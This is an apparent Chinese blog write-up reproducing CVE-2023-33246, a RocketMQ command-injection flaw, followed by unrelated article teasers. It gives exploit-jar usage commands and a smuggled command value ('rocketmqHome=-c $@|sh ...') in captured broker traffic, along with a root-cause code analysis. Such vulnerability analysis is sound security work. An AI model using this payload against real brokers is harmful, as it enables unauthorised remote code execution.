CVE-2023-33246 Apache RocketMQ 命令注入漏洞复现及分析

news2024/11/20 20:38:38

CVE-2023-33246 Apache RocketMQ 命令注入漏洞复现及分析


0x0.威胁情报:

漏洞编号CVE编号CVE-2023-33246
漏洞评估危害评级高危
漏洞类型RCE
公开程度PoC已公开
利用条件1.在受影响版本内
威胁类型远程
利用情报在野利用
漏洞活跃度
影响产品产品名称Apache RocketMQ
受影响版本5.x <= 5.1.0 及 4.x<=4.9.6
影响范围
有无修复补丁

参考

https://lists.apache.org/thread/s78r8lw08xtvh1ojvo65p0f4jyo9lt7v

0x1.复现环境搭建:

0x10 Apache RocketMQ的应用组网

在这里插入图片描述

如上图所示Apache RocketMQ 应用组网中 核心部分包括 NameServer 节点/集群,用于运维管理。Broker节点/集群用户核心的消息订阅发送逻辑。Producer是消息数据的产生方,Consumer小消息的接收方。同时可以扩展部属console节点用于提供Web管理界面。

0x101 Windows10 Docker环境准备

(略 网上下载无脑装就好了)

0x102 Apache RocketMQ 4.91 Docker 环境安装
  • 下载镜像:
docker pull apache/rocketmq:4.9.1
docker pull apacherocketmq/rocketmq-console:2.0.0
  • 启动broker、namesrv、console(可选):

mqsrv绑定网口IP写host文件
在这里插入图片描述

  • 启动namesrv
docker run -dit -p 9876:9876 -p 10909:10909 --name mqsrv -e "MAX_POSSIBLE_HEAP=100000000" apache/rocketmq:4.9.1 sh mqnamesrv /bin/bash
  • 启动broker
docker run -dit -p 10908:10908 -p 10911:10911 --name mqbroker --restart=always --link mqsrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -e "MAX_POSSIBLE_HEAP=200000000" apache/rocketmq:4.9.1 sh mqbroker -c /home/rocketmq/rocketmq-4.9.1/conf/broker.conf
  • 启动console
docker run -dit --name mqconsole -p 8080:8080 -e "JAVA_OPTS=-Drocketmq.config.namesrvAddr=mqsrv:9876 -Drocketmq.config.isVIPChannel=false" apacherocketmq/rocketmq-console:2.0.0
  • 启动完成后效果:
    在这里插入图片描述

如上图所示NameServer 节点关键端口 9876;Broker节点关键端口10911

参考: https://github.com/yizhimanpadewoniu/CVE-2023-33246-Copy

0x2.EXP漏洞复现:

0x21 EXP来源:

https://github.com/SuperZero/CVE-2023-33246

0x22 使用方式:

java -jar CVE-2023-33246.jar -ip "127.0.0.1" -cmd "注入的命令"
0x23 实战复现:

由于Docker环境下支持的命令很少,目前通过注入echo命令,写文件的方式证明漏洞的存在

D:\Software\CVE-2023-33246-main>java -jar CVE-2023-33246.jar -ip "127.0.0.1" -cmd "echo 11 > /tmp/1"
D:\Software\CVE-2023-33246-main>java -jar CVE-2023-33246.jar -ip "127.0.0.1" -cmd "echo 11 > /tmp/2"

在这里插入图片描述

注入后查看Broker节点的文件:
在这里插入图片描述

如上图所示 文件 已经写入 /tmp目录下,表明注入漏洞的存在。

0x3.成因分析:

漏洞形成的原因很传统:1.提供无加密与鉴权的不安全服务;2.对于用户输入的检查与过滤不足。

0x31 根因1:无鉴权、无加密的不安全服务:

从 EXP的日志来看,EXP做了两次交互,第1次是和NameSever 9876端口的交互,获取注册 Broker的信息,第二次是和Broker的交互,发送配置信息

EXP与NameServer的交互:

在这里插入图片描述

{“code”:105,“extFields”:{“topic”:“TBW102”},“flag”:0,“language”:“JAVA”,“opaque”:1,“serializeTypeCurrentRPC”:“JSON”,“version”:395}
在这里插入图片描述

返回如下注册Broker数据:

{“brokerDatas”:
[
{“brokerAddrs”:{0:“172.17.0.4:10911”},
“brokerName”:“broker-a”,
“cluster”:“DefaultCluster”}],
“filterServerTable”:{},
“queueDatas”:[{“brokerName”:“broker-a”,“perm”:7,“readQueueNums”:8,“topicSysFlag”:0,“writeQueueNums”:8} ]}

可见,EXP可以仿冒Console节点,访问NameServer节点获取注册 Broker数据,而不需任何鉴权,且数据明文传输。

EXP与Broker的交互:
在这里插入图片描述

如上图所示,EXP仿冒NameServer向Broker发送配置修改数据,修改 **rocketmqHome 函数,**同时配置参数中拼接了操作系统命令:

{“code”:25,“flag”:0,“language”:“JAVA”,“opaque”:0,“serializeTypeCurrentRPC”:“JSON”,“version”:395}filterServerNums=1 rocketmqHome=-c $@|sh . echo echo 11 > /tmp/3;

从EXP源码看:
在这里插入图片描述

源码整个过程非常简单,先生成 DefaultMQAdminExt 实力以及调用 updateBrokerConfig方法的关键过程中,均无任何鉴权凭证的的输入,属于未授权访问范畴。

0x31 根因2:ApacheRocketMQ 后端验证不足及高危函数调用:
  • 从日志着手

在这里插入图片描述

如上图所示**,CallShell**这个函数十分辣眼睛,渗透同学很容易联想到了,操作系统 Bash命令调用。

  • https://rocketmq.apache.org/download/ 下载 ApacheRocketMQ 4.9.1源码进行分析:

从请求消息中提取配置:

关键调用processRequest()-> updateBrokerConfig() -->getConfiguration()–>update():
在这里插入图片描述
在这里插入图片描述

从这些配置处理过程中,并没有看到对于配置参数合法性的检查和过滤

提取配置,并组装命令执行:
在这里插入图片描述
在这里插入图片描述

如上图所示,对于cmdArray传递过来的参数,没有任何的检查和过滤,直接调用exec进行执行

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/602965.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

代码随想录算法训练营第二十四天| 回溯理论基础 、77. 组合

理论基础 回溯通常隐藏在递归函数的下面&#xff0c;递归和回溯是相辅相成的&#xff0c;通常来说 回溯函数就是指递归函数。 回溯法其实是一个纯暴力的搜索&#xff0c;有些问题只能依靠回溯法将所有的结果搜出来。 例如&#xff1a; 组合问题&#xff1a;N个数里面按一定规…

【VictoriaMetrics】VictoriaMetrics单机版数据删除

在使用vm的过程中,我们会遇到需要删除不必要的数据,那vm是如何操作数据删除的呢? VictoriaMetrics通过发送HTTP请求到http://<victoriametrics-addr>:8428/api/v1/admin/tsdb/delete_series?match=<timeseries_selector_for_delete> 其中<timeseries_sele…

npm+模块加载机制

1.npm与包 1.什么是包 Node.js中的第三方模块又叫做包。 就像电脑和计算机指的是相同的东西&#xff0c;第三方模块和包指的是同一个概念&#xff0c;只不过叫法不同。 2.包的来源 不同于Node,js中的内置模块与自定义模块&#xff0c;包是由第三方个人或团队开发出来的&am…

Android 应用弹出悬浮窗

Android开发者经常遇到应用想弹出悬浮窗的操作&#xff0c;而且有可能还想要高层级弹窗&#xff0c;就像ipone的浮标touch一样。android当然也有类似的悬浮图标&#xff0c;比如前些年我们的流量监控提醒。 这里我们忽略UI美学&#xff0c;简单记录一下&#xff1a; 1、基本使…

mac os 安装rz/sz

说明&#xff1a;使用rz sz实现终端的文件传输&#xff0c;该命令主要使用场景为 macos中通过堡垒机登陆后无法使用ftp工具传输文件。 工具&#xff1a;iTerm2、lrzsz、homebrew 以及两个脚本文件&#xff08;iterm2-recv-zmodem.sh、iterm2-send-zmodem.sh&#xff09; …

基于确定有穷自动机(DFA算法)实现敏感词过滤

1.DFA算法简介 DFA(Deterministic Finite Automaton) 是一种非递归自动机&#xff0c;也称为确定有穷自动机。它是通过event和当前的state得到nextstate&#xff0c;即eventstatenextstate。 确定&#xff1a;状态以及引起状态转换的事件都是可确定的。 有穷&#xff1a;状态以…

EBU6304 Software Engineering 知识点总结_4 analysis, design, implementation, testing

analysis 仅仅从用户的需求来看得到的消息不全面&#xff0c;还需要分析。用户可能认为你明白了&#xff0c;或者他考虑不全面&#xff0c;觉得一些地方是不需要的。 因此我们需要分析来 Refining requirements。 gather requirements-analyse in real world context-develo…

(字符串 ) 剑指 Offer 58 - II. 左旋转字符串 ——【Leetcode每日一题】

❓剑指 Offer 58 - II. 左旋转字符串 难度&#xff1a;简单 字符串的左旋转操作是把字符串前面的若干个字符转移到字符串的尾部。请定义一个函数实现字符串左旋转操作的功能。比如&#xff0c;输入字符串"abcdefg"和数字2&#xff0c;该函数将返回左旋转两位得到的…

Codeforces Round 875 (Div. 2)

Problem - D - Codeforces 思路&#xff1a; 注意到bibj<2*n&#xff0c;所以ai*aj<2*n&#xff0c;即我们实际只需要枚举个a的匹配即可为了不重不漏&#xff0c;我们可以枚举x从1到&#xff0c;寻找所有与x匹配且大于等于x的[a,b]对这样复杂度就是 #include <bits…

OpenCV笔记整理【人脸检测之Harr级联分类器dlib库】

1. 级联分类器&#xff1a; OpenCV提供的级联分类器有Harr、HOG、LBP这3种&#xff0c;这些分类器以XML文件保存&#xff0c;这里主要演示Harr检测人脸&#xff08;OpenCV提供的分类器不仅限于检测人脸&#xff0c;还包括下表特征检测&#xff0c;当然OpenCV还支持训练自己的级…

Vim学习笔记【Ch02】

Vim学习笔记 系列笔记链接Ch02 Buffers, Windows, TabsBuffers什么是buffer查看所有bufferbuffer之间的切换删除buffer退出所有窗口 Windows窗口的创建窗口切换快捷键其他快捷键 Tabs什么是tabtab相关命令 window和buffer结合的3D移动小结 系列笔记链接 Ch00&#xff0c;Ch01 …

python介绍——入门

前言 Python 是一种面向对象的解释型计算机程序设计语言&#xff0c;它继承了传统编译语言的强大性和通用性&#xff0c;同时也借鉴了脚本语言和解释语言的易用性。今天我就来给大家简单介绍一下python&#xff1a; 一、python的起源 1989年的圣诞节期间&#xff0c;吉多▪范…

Redis底层学习(二)—存储类型-String篇

这里写目录标题 应用场景底层结构知识普及 应用场景 服务器命令&#xff1a; 1.单值缓存 存储key,value &#xff1a;SET key value2.对象缓存 存储key,value :SET key value&#xff08;json 格式数据&#xff09; 3.分布式锁 底层结构 我们可以通过命令查看 value…

C++ 学习 ::【基础篇:14】:C++ 类的基本成员函数:析构函数的作用 及 自定义析构函数情形

本系列 C 相关文章 仅为笔者学习笔记记录&#xff0c;用自己的理解记录学习&#xff01;C 学习系列将分为三个阶段&#xff1a;基础篇、STL 篇、高阶数据结构与算法篇&#xff0c;相关重点内容如下&#xff1a; 基础篇&#xff1a;类与对象&#xff08;涉及C的三大特性等&#…

scratch找食物 中国电子学会图形化编程 少儿编程 scratch编程等级考试一级真题和答案解析2023年5月

目录 scratch找食物 一、题目要求 1、准备工作 2、功能实现 二、案例分析

全志V3S嵌入式驱动开发(多按键输入驱动)

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】 前面我们说过&#xff0c;荔枝派的开发板上面&#xff0c;有4个按键本身不是通过gpio连接到soc上面的。它是通过ad的方法&#xff0c;连接到主芯片…

SpringCloud GateWay-Filter学习

3 Filter/过滤器 文章目录 3 Filter/过滤器1 GatewayFilter 使用 -- 路由过滤器2 GatewayFilter 使用 -- 自定义过滤器 路由过滤器可用于修改进入的HTTP请求和返回的HTTP响应Spring Cloud Gateway 内置了多种路由过滤器&#xff0c;他们都由GatewayFilter的工厂类来产生 1 Gat…

华为OD机试真题B卷 Java 实现【IPv4地址转换成整数】,附详细解题思路

一、题目描述 存在一种虚拟 IPv4 地址&#xff0c;由4小节组成&#xff0c;每节的范围为0~255&#xff0c;以#号间隔&#xff0c; 虚拟 IPv4 地址可以转换为一个32位的整数&#xff0c;例如&#xff1a; 128#0#255#255&#xff0c;转换为32位整数的结果为2147549183&#xff0…

以技术实践赋能开源安全|2023开放原子全球开源峰会开源安全技术与实践分论坛即将启幕

作为数字化转型时代的重要技术和协作模式&#xff0c;开源软件在各行各业得到广泛应用&#xff0c;由此也引发了诸多与安全相关的问题。6月12日&#xff0c;2023开放原子全球开源峰会“开源安全技术与实践”分论坛将在北京经开区北人亦创国际会展中心举行。 本次分论坛由开放原…

为什么说 Go 语言字符串是不可变的?

原文链接&#xff1a; 为什么说 Go 语言字符串是不可变的&#xff1f; 最近有读者留言说&#xff0c;平时在写代码的过程中&#xff0c;是会对字符串进行修改的&#xff0c;但网上都说 Go 语言字符串是不可变的&#xff0c;这是为什么呢&#xff1f; 这个问题本身并不困难&am…